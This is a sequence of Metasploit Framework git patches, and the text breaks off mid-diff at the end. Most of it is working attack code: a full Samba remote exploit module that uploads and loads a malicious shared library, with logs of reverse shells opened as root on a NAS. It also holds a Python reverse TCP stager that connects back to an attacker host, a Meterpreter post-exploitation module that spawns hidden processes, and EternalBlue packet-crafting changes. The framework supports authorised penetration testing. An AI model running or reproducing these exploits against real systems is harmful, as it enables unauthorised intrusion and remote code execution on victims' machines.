ARM (LE)', { 'Arch' => ARCH_ARMLE } ], + [ 'Linux x86', { 'Arch' => ARCH_X86 } ], + [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ], + # [ 'Linux MIPS', { 'Arch' => MIPS } ], + ], + 'Privileged' => true, + 'DisclosureDate' => 'Mar 24 2017', + 'DefaultTarget' => 2)) + + register_options( + [ + OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']), + OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']), + OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']), + ]) + end + + + def generate_common_locations + candidates = [] + if datastore['SMB_SHARE_BASE'].to_s.length > 0 + candidates << datastore['SMB_SHARE_BASE'] + end + + %W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name| + candidates << base_name + candidates << [base_name, @share] + candidates << [base_name, @share.downcase] + candidates << [base_name, @share.upcase] + candidates << [base_name, @share.capitalize] + candidates << [base_name, @share.gsub(" ", "_")] + end + + candidates.uniq + end + + def enumerate_directories(share) + begin + self.simple.connect("\\\\#{rhost}\\#{share}") + stuff = self.simple.client.find_first("\\*") + directories = [""] + stuff.each_pair do |entry,entry_attr| + next if %W{. ..}.include?(entry) + next unless entry_attr['type'] == 'D' + directories << entry + end + + return directories + + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e + vprint_error("Enum #{share}: #{e}") + return nil + + ensure + if self.simple.shares["\\\\#{rhost}\\#{share}"] + self.simple.disconnect("\\\\#{rhost}\\#{share}") + end + end + end + + def verify_writeable_directory(share, directory="") + begin + self.simple.connect("\\\\#{rhost}\\#{share}") + + random_filename = Rex::Text.rand_text_alpha(5)+".txt" + filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}" + + wfd = simple.open(filename, 'rwct') + wfd << Rex::Text.rand_text_alpha(8) + wfd.close + + simple.delete(filename) + return true + + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e + vprint_error("Write #{share}#{filename}: #{e}") + return false + + ensure + if self.simple.shares["\\\\#{rhost}\\#{share}"] + self.simple.disconnect("\\\\#{rhost}\\#{share}") + end + end + end + + def share_type(val) + [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val] + end + + def enumerate_shares_lanman + shares = [] + begin + res = self.simple.client.trans( + "\\PIPE\\LANMAN", + ( + [0x00].pack('v') + + "WrLeh\x00" + + "B13BWz\x00" + + [0x01, 65406].pack("vv") + )) + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e + vprint_error("Could not enumerate shares via LANMAN") + return [] + end + if res.nil? + vprint_error("Could not enumerate shares via LANMAN") + return [] + end + + lerror, lconv, lentries, lcount = res['Payload'].to_s[ + res['Payload'].v['ParamOffset'], + res['Payload'].v['ParamCount'] + ].unpack("v4") + + data = res['Payload'].to_s[ + res['Payload'].v['DataOffset'], + res['Payload'].v['DataCount'] + ] + + 0.upto(lentries - 1) do |i| + sname,tmp = data[(i * 20) + 0, 14].split("\x00") + stype = data[(i * 20) + 14, 2].unpack('v')[0] + scoff = data[(i * 20) + 16, 2].unpack('v')[0] + scoff -= lconv if lconv != 0 + scomm,tmp = data[scoff, data.length - scoff].split("\x00") + shares << [ sname, share_type(stype), scomm] + end + + shares + end + + def probe_module_path(path) + begin + simple.create_pipe(path) + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + vprint_error("Probe: #{path}: #{e}") + end + end + + def find_writeable_path(share) + subdirs = enumerate_directories(share) + return unless subdirs + + if datastore['SMB_FOLDER'].to_s.length > 0 + subdirs.unshift(datastore['SMB_FOLDER']) + end + + subdirs.each do |subdir| + next unless verify_writeable_directory(share, subdir) + return subdir + end + + nil + end + + def find_writeable_share_path + @path = nil + share_info = enumerate_shares_lanman + if datastore['SMB_SHARE_NAME'].to_s.length > 0 + share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', ''] + end + + share_info.each do |share| + next if share.first.upcase == 'IPC$' + found = find_writeable_path(share.first) + next unless found + @share = share.first + @path = found + break + end + end + + def find_writeable + find_writeable_share_path + unless @share && @path + print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER") + fail_with(Failure::NoTarget, "No matching target") + end + print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path") + end + + def upload_payload + begin + self.simple.connect("\\\\#{rhost}\\#{@share}") + + random_filename = Rex::Text.rand_text_alpha(8)+".so" + filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}" + wfd = simple.open(filename, 'rwct') + wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, + payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform} + ) + wfd.close + + @payload_name = random_filename + return true + + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("Write #{@share}#{filename}: #{e}") + return false + + ensure + if self.simple.shares["\\\\#{rhost}\\#{@share}"] + self.simple.disconnect("\\\\#{rhost}\\#{@share}") + end + end + end + + def find_payload + print_status("Payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name}") + + # Reconnect to IPC$ + simple.connect("\\\\#{rhost}\\IPC$") + + # + # In a perfect world we would find a way make IPC$'s associated CWD + # change to our share path, which would allow the following code: + # + # probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}") + # + + # Until we find a better way, brute force based on common paths + generate_common_locations.each do |location| + target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/') + print_status("Trying location #{target}...") + probe_module_path(target) + end + end + + def exploit + # Setup SMB + connect + smb_login + + # Find a writeable share + find_writeable + + # Upload the shared library payload + upload_payload + + # Find and execute the payload from the share + find_payload rescue Rex::StreamClosedError + + # Shutdown + disconnect + end + +end From b1514fcbc0336966c0660a51a302072026698892 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 24 May 2017 22:18:46 -0400 Subject: [PATCH 064/686] docs --- .../exploit/linux/samba/is_known_pipename.md | 96 +++++++++++++++++++ 1 file changed, 96 insertions(+) create mode 100644 documentation/modules/exploit/linux/samba/is_known_pipename.md diff --git a/documentation/modules/exploit/linux/samba/is_known_pipename.md b/documentation/modules/exploit/linux/samba/is_known_pipename.md new file mode 100644 index 0000000000..6ac08283b2 --- /dev/null +++ b/documentation/modules/exploit/linux/samba/is_known_pipename.md @@ -0,0 +1,96 @@ +## Vulnerable Application + +This module exploits Samba from versions 3.5.0-4.4.14, 4.5.10, and 4.6.4 by loading a malicious shared library. +Samba's download archives are [here](https://download.samba.org/pub/samba/stable/). There are some requirements +for this exploit to be successful: + +1. Valid credentials +2. Writeable folder in an accessible share +3. Server-side path of the writeable folder + +However, in some cases anonymous access with common filesystem locations can be used to automate exploitation. + +Verified on: + +1. Synology DS412+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9) +2. Synology DS412+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9) +3. Ubuntu 16.04 (**HDM PLEASE PUT THE Samba version here**) +4. Synology **HDM PLEASE PUT THE DSM VERSION HERE** (**HDM PLEASE PUT THE Samba version here**) +5. Synology DS1512+ **OJ PLEASE PUT THE DSM VERSION HERE** (**OJ PLEASE PUT THE Samba version here**) + +Currently not working against: + +1. QNAP Nas Samba 4.4.9 on armv71 +2. WD NAS armv71 **@wwebb-r7 PLEASE PUT Samba VERSION HERE** + +## Verification Steps + +1. Start msfconsole +2. Do: ```use exploit/linux/samba/is_known_pipename``` +3. Do: ```set rhost [ip]``` +4. Do: ```set target [target #]``` +5. Do: ```exploit``` + +## Options + + **SMB_SHARE_NAME** + + The name of the SMB share containing a writeable directory. Shares are automatically scanned for, and if this + variable is non-blank, it will be preferred. + + **SMB_SHARE_BASE** + + The remote filesystem path correlating with the SMB share name. This value is preferred, but other values are + brute forced including: + +1. /volume1 +2. /volume2 +3. /volume3 +4. /shared +5. /mnt +6. /mnt/usb +7. /media +8. /mnt/media +9. /var/samba +10. /tmp/home/home/shared + + **SMB_FOLDER** + + The directory to use within the writeable SMB share. Writable directories are automatically scanned for, and if this + variable is non-blank, it will be preferred. + +## Scenarios + +### Synology DS412+ w/ INTEL Atom D2700 on DSM 6.1.1-15101 Update 2 + +``` +msf exploit(is_known_pipename) > exploit + +[*] Started reverse TCP handler on 1.2.3.117:4444 +[*] 1.2.3.119:445 - Using location \\1.2.3.119\ESX\ for the path +[*] 1.2.3.119:445 - Payload is stored in //1.2.3.119/ESX/ as eePUbtdw.so +[*] 1.2.3.119:445 - Trying location /volume1/eePUbtdw.so... +[-] 1.2.3.119:445 - Probe: /volume1/eePUbtdw.so: The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0) +[*] 1.2.3.119:445 - Trying location /volume1/ESX/eePUbtdw.so... +[*] Command shell session 1 opened (1.2.3.117:4444 -> 1.2.3.119:34366) at 2017-05-24 21:12:07 -0400 + +id +uid=0(root) gid=0(root) groups=0(root),100(users) +uname -a +Linux synologyNAS 3.10.102 #15101 SMP Fri May 5 12:01:38 CST 2017 x86_64 GNU/Linux synology_cedarview_412+ +``` + +### Ubuntu 16.04 + +``` +msf exploit(is_known_pipename) > exploit + +[*] Started reverse TCP handler on 192.168.0.3:4444 +[*] 192.168.0.3:445 - Using location \\192.168.0.3\yarp\h for the path +[*] 192.168.0.3:445 - Payload is stored in //192.168.0.3/yarp/h as GTithXJz.so +[*] 192.168.0.3:445 - Trying location /tmp/yarp/h/GTithXJz.so... +[*] Command shell session 6 opened (192.168.0.3:4444 -> 192.168.0.3:45076) at 2017-05-24 19:41:40 -0500 + +id +uid=65534(nobody) gid=0(root) groups=0(root),65534(nogroup) +``` From 92a1a3ecf7cd28718b49c9b38ee0a42a7dfe14ba Mon Sep 17 00:00:00 2001 From: itsmeroy2012 Date: Thu, 25 May 2017 15:09:34 +0530 Subject: [PATCH 065/686] Adding for loop instead of while, removing 'counter' --- lib/msf/core/payload/python/reverse_tcp.rb | 11 ++++++----- modules/payloads/stagers/python/reverse_tcp.rb | 2 +- modules/payloads/stagers/python/reverse_tcp_uuid.rb | 2 +- 3 files changed, 8 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/payload/python/reverse_tcp.rb b/lib/msf/core/payload/python/reverse_tcp.rb index cb2a8a6624..98bb4895fa 100644 --- a/lib/msf/core/payload/python/reverse_tcp.rb +++ b/lib/msf/core/payload/python/reverse_tcp.rb @@ -19,7 +19,7 @@ module Payload::Python::ReverseTcp def initialize(*args) super register_advanced_options([ - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 1]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 0]), OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts']) ], self.class) end @@ -53,23 +53,24 @@ module Payload::Python::ReverseTcp def generate_reverse_tcp(opts={}) # Set up the socket cmd = "import socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n" - cmd << "counter = 0\n" if opts[:retry_wait].blank? # do not retry at all (old style) cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n" else - cmd << "while counter<#{opts[:retry_count].to_i}:\n" + if opts[:retry_count]>0 + cmd << "for x in range(#{opts[:retry_count].to_i}):\n" + else + cmd << "while 1:\n" + end cmd << "\ttry:\n" cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n" cmd << "\t\tbreak\n" cmd << "\texcept:\n" if opts[:retry_wait].to_i <= 0 - cmd << "\t\tcounter=counter+1\n" cmd << "\t\tpass\n" # retry immediately else cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting - cmd << "\t\tcounter=counter+1\n" end end cmd << py_send_uuid if include_send_uuid diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index d16cb873b1..367b3c8693 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module MetasploitModule - CachedSize = 378 + CachedSize = 362 include Msf::Payload::Stager include Msf::Payload::Python::ReverseTcp diff --git a/modules/payloads/stagers/python/reverse_tcp_uuid.rb b/modules/payloads/stagers/python/reverse_tcp_uuid.rb index c7f9fe064c..55d36cde14 100644 --- a/modules/payloads/stagers/python/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/python/reverse_tcp_uuid.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module MetasploitModule - CachedSize = 482 + CachedSize = 466 include Msf::Payload::Stager include Msf::Payload::Python From 7077ac052382419967ff8f3ccf1b59a6b1a5b8dc Mon Sep 17 00:00:00 2001 From: Borja Merino Date: Thu, 25 May 2017 11:47:04 +0200 Subject: [PATCH 066/686] Meterpreter Post-exploitation module to mount vmdk files --- modules/post/windows/manage/vmdk_mount.rb | 260 ++++++++++++++++++++++ 1 file changed, 260 insertions(+) create mode 100644 modules/post/windows/manage/vmdk_mount.rb diff --git a/modules/post/windows/manage/vmdk_mount.rb b/modules/post/windows/manage/vmdk_mount.rb new file mode 100644 index 0000000000..168d1482a8 --- /dev/null +++ b/modules/post/windows/manage/vmdk_mount.rb @@ -0,0 +1,260 @@ +## +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + + include Msf::Post::File + include Msf::Post::Windows::Registry + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Manage VMDK Mount Drive', + 'Description' => %q{ + This module mounts a vmdk file (Virtual Machine Disk) on a drive provided by the user by taking advantage + of the vstor2 device driver (VMware). First, it executes the binary vixDiskMountServer.exe to access the + device and then it sends certain control code via DeviceIoControl to mount it. Use the write mode with + extreme care. You should only open a disk file in writable mode if you know for sure that no snapshots + or clones are linked from the file. + }, + 'License' => MSF_LICENSE, + 'Author' => 'Borja Merino ', + 'References' => + [ + [ 'URL', 'http://www.shelliscoming.com/2017/05/post-exploitation-mounting-vmdk-files.html' ] + ], + 'Platform' => [ 'win'], + 'SessionTypes' => [ 'meterpreter'] + )) + + register_options( + [ + OptString.new('VMDK_PATH', [true, 'Full path to the .vmdk file' ]), + OptString.new('DRIVE', [ true, 'Mount point (drive letter)', 'Z']), + OptBool.new('READ_MODE', [true, 'Open file in read-only mode', true ]), + OptBool.new('DEL_LCK', [true, 'Delete .vmdk lock file', false ]), + ], + self.class + ) + end + + # It returns an array of the drives currently mounted. Credits to mubix for this function. + def get_drives + a = client.railgun.kernel32.GetLogicalDrives()["return"] + drives = [] + letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + (0..25).each do |i| + test = letters[i,1] + rem = a % (2**(i+1)) + if rem > 0 + drives << test + a = a - rem + end + end + + return drives + end + + + def run + vol = datastore['DRIVE'][0].upcase + vmdk = datastore['VMDK_PATH'] + if vol.count("EFGHIJKLMNOPQRSTUVWXYZ") == 0 + print_error("Wrong drive letter. Choose another one") + return + end + + drives = get_drives + if drives.include? vol + print_error("The following mount points already exists: #{drives}. Choose another one") + return + end + + # Using stat instead of file? to check if the file exists due to this https://github.com/rapid7/metasploit-framework/issues/8202 + begin + client.fs.file.stat(vmdk) + rescue + print_error("File #{vmdk} not found") + return + end + + vmware_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\vmplayer.exe","path") + + if vmware_path.nil? + print_error("VMware installation path not found.") + return + end + + print_status("VMware path: \"#{vmware_path}\"") + + vstor_device = find_vstor2_device + if vstor_device.nil? + return + end + + if not open_mountserver(vmware_path) or not mount_vmdk(vstor_device, vmdk, vol, datastore['READ_MODE']) + return + end + + # Just few seconds to mount the unit and create the lck file + sleep(5) + + if get_drives.include? vol + print_good("The drive #{vol}: seems to be ready") + if datastore['DEL_LCK'] + delete_lck(vmdk) + end + else + print_error("The drive couldn't be mounted. Check if a .lck file is blocking the access to the vmdk file") + # Some snapshots could give some problems when are mount in write mode + if not datastore['READ_MODE'] + print_status("Try to mount the drive in read only mode") + end + end + end + + # Delete the lck file generated after mounting the drive + def delete_lck(vmdk) + lck_dir = vmdk << ".lck" + begin + files = client.fs.dir.entries(lck_dir) + vprint_status("Directory lock: #{lck_dir}") + rescue Rex::Post::Meterpreter::RequestError + print_status("It was not found a lck directory") + return + end + + files.shift(2) + files.each do |f| + f_path = lck_dir + "\\#{f}" + next if not file?(f_path) + fd = client.fs.file.open(f_path) + content = fd.read.to_s + fd.close() + if content.include? "vixDiskMountServer" + begin + client.fs.file.rm(f_path) + print_status("Lock file #{f} deleted") + rescue ::Exception => e + print_error("Unable to remove file: #{e.message}") + end + end + end + end + + # Recover the device drive name created by vstor2-mntapi20-shared.sys + def find_vstor2_device + reg_services = "HKLM\\SYSTEM\\ControlSet001\\Services\\" + devices = registry_enumkeys(reg_services) + vstor2_key = devices.grep(/^vstor2/) + if not vstor2_key.any? + print_error("No vstor2 key found on #{reg_services}") + return + end + + device_path = registry_getvaldata(reg_services << vstor2_key[0],"ImagePath") + + if device_path.nil? + print_error("No image path found for the vstor2 device") + return + end + + device_name = device_path.split('\\')[-1].split('.')[0] + print_status("Device driver name found: \\\\.\\#{device_name}") + return device_name.insert(0, "\\\\.\\") + end + + # Mount the vmdk file by sending a magic control code via DeviceIoControl + def mount_vmdk(vstore, vmdk_file, vol, read_mode) + # DWORD value representing the drive letter + i = "ABCDEFGHIJKLMNOPQRSTUVWXYZ".index(vol) + drive_dword = [(0x00000001 << i)].pack('V') + vprint_status("DWORD value for drive #{vol}: = #{drive_dword.inspect}") + + ret = session.railgun.kernel32.CreateFileW(vstore, "GENERIC_WRITE|GENERIC_READ", "FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING",0, nil) + if ret['GetLastError'] != 0 + print_error("Unable to open a handle to the #{vstore} device driver. GetLastError: #{ret['GetLastError']} ") + return false + end + # fd1, fd3 and fd5 are static values used from vixDiskMountApi.dll to build the input buffer + fd1 = "\x24\x01\x00\x00" + fd2 = "\x00\x00\x00\x00" + fd3 = "\xBA\xAB\x00\x00" + fd4 = "\x00\x00\x00\x00" + fd5 = "\x02\x00\x00\x00" + fd6 = "\x00\x00\x00\x00" + path = (vmdk_file).ljust 260, "\x00" + if read_mode + fd7 = "\x01\x00\x00\x00" + else + fd7 = "\x00\x00\x00\x00" + end + + # The total length of the buffer should be 292 + buffer = fd1 << fd2 << fd3 << fd4 << fd5 << fd6 << drive_dword << path << fd7 + + error_code = "" + tries = 0 + loop do + ioctl = client.railgun.kernel32.DeviceIoControl(ret['return'],0x2A002C,buffer,292,16348,16348,4,nil) + error_code = ioctl['GetLastError'] + vprint_status("GetlastError DeviceIoControl = #{error_code}") + tries += 1 + break if tries == 3 or (error_code != 31 and error_code != 6) + end + + if (error_code == 997 or error_code == 0) + client.railgun.kernel32.CloseHandle(ret['return']) + return true + else + print_error("The vmdk file could't be mounted") + return false + end + end + + # Run the hidden vixDiskMountServer process needed to interact with the driver + def open_mountserver(path) + mount_bin = "vixDiskMountServer.exe" + if not file?(path << mount_bin) + print_error("#{mount_bin} not found in \"#{path}\"") + return false + end + + # If the vixDiskMountServer process is created by VMware (i.e. when the mapping utility is used) it will not be + # possible to mount the file. In this case killing vixDiskMountServer manually from Meterpreter and re-running + # the script could be a solution (although this can raise suspicions to the user). + + # On the other hand, if vixDiskMountServer has been created by Meterpreter it would not be necessary to kill + # the process to run the script again and mount another drive except if you change the mode (write or read only). + # For this reason, to avoid this case, the process is relaunched automatically. + p = session.sys.process.each_process.find { |i| i["name"] == mount_bin} + + if not p.nil? + if p["ppid"] != session.sys.process.getpid + print_error("An instance of #{mount_bin} is already running by another process") + return false + else + begin + print_status("Killing the #{mount_bin} instance") + session.sys.process.kill(p["pid"]) + sleep(1) + rescue ::Rex::Post::Meterpreter::RequestError => error + print_error("The #{mount_bin} instance depending on Meterpeter could not be killed") + return false + end + end + end + + begin + proc = session.sys.process.execute(path, nil, {'Hidden' => true}) + sleep(1) + print_good("Process #{mount_bin} successfully spawned (Pid: #{proc.pid})") + rescue ::Rex::Post::Meterpreter::RequestError => error + print_error("Binary #{mount_bin} could could not be spawned : #{error.to_s}") + return false + end + return true + end +end From 98ad7544751897c1ce08f6275ba9a9720363825b Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 25 May 2017 08:09:37 -0400 Subject: [PATCH 067/686] updated OJ info and wvu ubuntu box --- .../modules/exploit/linux/samba/is_known_pipename.md | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/linux/samba/is_known_pipename.md b/documentation/modules/exploit/linux/samba/is_known_pipename.md index 6ac08283b2..e5ec652473 100644 --- a/documentation/modules/exploit/linux/samba/is_known_pipename.md +++ b/documentation/modules/exploit/linux/samba/is_known_pipename.md @@ -14,9 +14,11 @@ Verified on: 1. Synology DS412+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9) 2. Synology DS412+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9) -3. Ubuntu 16.04 (**HDM PLEASE PUT THE Samba version here**) -4. Synology **HDM PLEASE PUT THE DSM VERSION HERE** (**HDM PLEASE PUT THE Samba version here**) -5. Synology DS1512+ **OJ PLEASE PUT THE DSM VERSION HERE** (**OJ PLEASE PUT THE Samba version here**) +3. Synology DS1512+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9) +4. Synology DS1512+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9) +5. Ubuntu 16.04 (**HDM PLEASE PUT THE Samba version here**) +6. Synology **HDM PLEASE PUT THE DSM VERSION HERE** (**HDM PLEASE PUT THE Samba version here**) +7. Ubuntu 15.04 (Samba 4.1.13) Currently not working against: From cf7cfa9b2c2ac8324c1a2b19250012c424d407e6 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 25 May 2017 09:49:45 -0500 Subject: [PATCH 068/686] Add check() implementation based on bcoles notes --- .../exploits/linux/samba/is_known_pipename.rb | 49 +++++++++++++++++++ 1 file changed, 49 insertions(+) diff --git a/modules/exploits/linux/samba/is_known_pipename.rb b/modules/exploits/linux/samba/is_known_pipename.rb index 414a3a3374..7545bde4ad 100644 --- a/modules/exploits/linux/samba/is_known_pipename.rb +++ b/modules/exploits/linux/samba/is_known_pipename.rb @@ -24,6 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'steelo ', # Vulnerability Discovery 'hdm', # Metasploit Module + 'Brendan Coles ', # Check logic ], 'License' => MSF_LICENSE, 'References' => @@ -270,6 +271,54 @@ class MetasploitModule < Msf::Exploit::Remote end end + def check + res = smb_fingerprint + + unless res['native_lm'] =~ /Samba ([\d\.]+)/ + print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}") + return CheckCode::Safe + end + + samba_version = Gem::Version.new($1.gsub(/\.$/, '')) + + vprint_status("Samba version identified as #{samba_version.to_s}") + + if samba_version < Gem::Version.new('3.5.0') + return CheckCode::Safe + end + + # Patched in 4.4.14 + if samba_version < Gem::Version.new('4.5.0') && + samba_version >= Gem::Version.new('4.4.14') + return CheckCode::Safe + end + + # Patched in 4.5.10 + if samba_version > Gem::Version.new('4.5.0') && + samba_version < Gem::Version.new('4.6.0') && + samba_version >= Gem::Version.new('4.5.10') + return CheckCode::Safe + end + + # Patched in 4.6.4 + if samba_version >= Gem::Version.new('4.6.4') + return CheckCode::Safe + end + + connect + smb_login + find_writeable_share_path + disconnect + + if @share.to_s.length == 0 + print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified") + return CheckCode::Detected + end + + print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'") + return CheckCode::Appears + end + def exploit # Setup SMB connect From 238052a18b7047acc969f3a3530bc165df3d62db Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 25 May 2017 10:47:14 -0500 Subject: [PATCH 069/686] use RubySMB client echo replaced the manually created echo packet with the RubySMB client echo command --- .../windows/smb/ms17_010_eternalblue.rb | 34 ++----------------- 1 file changed, 2 insertions(+), 32 deletions(-) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index 17b256b464..62d58b3f47 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -334,12 +334,12 @@ class MetasploitModule < Msf::Exploit::Remote trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i) end - trans2_pkt_nulled << make_smb1_echo_packet(tree.id, client.user_id) - vprint_status("Sending malformed Trans2 packets") sock.put(trans2_pkt_nulled) sock.get_once + + client.echo(count:1, data: "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00") end def smb1_free_hole(start) @@ -434,36 +434,6 @@ class MetasploitModule < Msf::Exploit::Remote pkt end - def make_smb1_echo_packet(tree_id, user_id) - pkt = "" - pkt << "\x00" # type - pkt << "\x00\x00\x31" # len = 49 - pkt << "\xffSMB" # SMB1 - pkt << "\x2b" # Echo - pkt << "\x00\x00\x00\x00" # Success - pkt << "\x18" # flags - pkt << "\x07\xc0" # flags2 - pkt << "\x00\x00" # PID High - pkt << "\x00\x00\x00\x00" # Signature1 - pkt << "\x00\x00\x00\x00" # Signature2 - pkt << "\x00\x00" # Reserved - pkt << [tree_id].pack("S>") # Tree ID - pkt << "\xff\xfe" # PID - pkt << [user_id].pack("S>") # UserID - pkt << "\x40\x00" # MultiplexIDs - - pkt << "\x01" # Word count - pkt << "\x01\x00" # Echo count - pkt << "\x0c\x00" # Byte count - - # echo data - # this is an existing IDS signature, and can be nulled out - #pkt << "\x4a\x6c\x4a\x6d\x49\x68\x43\x6c\x42\x73\x72\x00" - pkt << "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00" - - pkt - end - # Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout) timeout = (timeout * 0x10) + 3 From bc8ad811aa06b60444b3431a991071a5b96f1062 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 25 May 2017 10:49:42 -0500 Subject: [PATCH 070/686] remove old anonymous login packet we are now using the anonymous login from the RubySMB client we no longer need this method to manually build the packet --- .../windows/smb/ms17_010_eternalblue.rb | 48 ------------------- 1 file changed, 48 deletions(-) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue.rb b/modules/exploits/windows/smb/ms17_010_eternalblue.rb index 62d58b3f47..c34ee82c39 100644 --- a/modules/exploits/windows/smb/ms17_010_eternalblue.rb +++ b/modules/exploits/windows/smb/ms17_010_eternalblue.rb @@ -615,54 +615,6 @@ class MetasploitModule < Msf::Exploit::Remote pkt end - def make_smb1_anonymous_login_packet - # Neither Rex nor RubySMB appear to support Anon login? - pkt = "" - pkt << "\x00" # Session message - pkt << "\x00\x00\x88" # length - pkt << "\xffSMB" # SMB1 - pkt << "\x73" # Session Setup AndX - pkt << "\x00\x00\x00\x00" # NT SUCCESS - pkt << "\x18" # Flags - pkt << "\x07\xc0" # Flags2 - pkt << "\x00\x00" # PID High - pkt << "\x00\x00\x00\x00" # Signature1 - pkt << "\x00\x00\x00\x00" # Signature2 - pkt << "\x00\x00" # TreeID - pkt << "\xff\xfe" # PID - pkt << "\x00\x00" # Reserved - pkt << "\x00\x00" # UserID - pkt << "\x40\x00" # MultiplexID - - pkt << "\x0d" # Word Count - pkt << "\xff" # No further commands - pkt << "\x00" # Reserved - pkt << "\x88\x00" # AndXOffset - pkt << "\x04\x11" # Max Buffer - pkt << "\x0a\x00" # Max Mpx Count - pkt << "\x00\x00" # VC Number - pkt << "\x00\x00\x00\x00" # Session key - pkt << "\x01\x00" # ANSI pw length - pkt << "\x00\x00" # Unicode pw length - pkt << "\x00\x00\x00\x00" # Reserved - pkt << "\xd4\x00\x00\x00" # Capabilities - pkt << "\x4b\x00" # Byte count - pkt << "\x00" # ANSI pw - pkt << "\x00\x00" # Account name - pkt << "\x00\x00" # Domain name - - # Windows 2000 2195 - pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32" - pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00" - pkt << "\x00\x00" - - # Windows 2000 5.0 - pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32" - pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2e\x00\x30\x00\x00\x00" - - pkt - end - # ring3 = user mode encoded payload # proc_name = process to inject APC into # ep_thl_b = EPROCESS.ThreadListHead.Blink offset From 1a8961b5e35621a328d44265fd6ed7f9de57c5bc Mon Sep 17 00:00:00 2001 From: nks Date: Thu, 25 May 2017 19:14:59 +0200 Subject: [PATCH 071/686] fied typo --- modules/exploits/unix/webapp/webmin_show_cgi_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb index 6ed45fdd3a..b4ff5385d7 100644 --- a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb +++ b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb @@ -44,7 +44,7 @@ class 